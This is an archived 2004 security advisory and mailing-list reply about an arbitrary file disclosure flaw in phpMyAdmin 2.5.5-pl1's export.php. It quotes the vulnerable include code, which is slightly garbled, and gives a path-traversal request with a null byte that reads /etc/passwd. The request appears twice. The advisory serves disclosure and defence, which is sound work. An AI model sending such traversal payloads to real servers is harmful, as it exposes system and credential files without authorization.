Arbitrary File Disclosure Vulnerability in phpMyAdmin 2.5.5-pl1 and prior

[Cedric Cochin]

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Arbitrary File Disclosure Vulnerability in phpMyAdmin 2.5.5-pl1 and prior

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Summary :

phpMyAdmin is a tool written in PHP intended to handle the administration of
MySQL over the WWW. There is a vulnerability in the current stable version of
phpMyAdmin that allows an attacker to retrieve arbitrary files from the
webserver with privileges of the webserver..

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Details :

The export PHP script can be exploited to disclose arbitrary file using a
include() PHP call.

Vulnerable Systems:
* phpMyAdmin 2.5.5-pl1 and prior

Release Date :
February 2, 2004

Severity :
HIGH

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Examples :

-------------------------------------------

I - Arbitrary File Disclosure
(HIGH Risk)

File impacted : export.php

14:// What type of export are we doing?
15:if ($what == 'excel') {
16: $type = 'csv';
17:} else {
18: $type = $what;
19:}
20:
21:/**
22: * Defines the url to return to in case of error in a sql statement
23: */
24equire('./libraries/export/' . $type . '.php');

Exploit example:

- -- HTTP Request --

http://[target]/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00

- -- HTTP Request --

The vulnerability is available evenif PHP register_globals is set to off.

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Vendor Status :

The information has been provided to the phpMyAdmin Project Managers.
A new release candidate 2.5.6-rc1 with fixes for this vulnerability is available.
- --> http://www.phpmyadmin.net/home_page/
- --> http://www.phpmyadmin.net/home_page/relnotes.php?rel=0

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Credit :

Cedric Cochin, Security Engineer, netVigilance, Inc. (www.netvigilance.com)
< cco@netvigilance.com >

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[Security Admin]

On Tue, Feb 03, 2004 at 11:28:57AM +0100, Cedric Cochin wrote:
> - -- HTTP Request --
>
> http://[target]/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00
>
> - -- HTTP Request --

That's what "php_value include_path" is for. Most Sites running
phpmyadmin probably have users which not only can manage their
databases, but also put up php-code as they like. And of course
they can upload things like that:

http://seegras.discordia.ch/Programs/phpdir

Cheers
Peter Keel
--
Operator in charge of Security Tel +41 1 287 2993
Cyberlink Internet Services AG Fax +41 1 287 2991
Richard Wagnerstrasse 6 admin@cyberlink.ch
CH-8002 Zuerich http://www.cyberlink.ch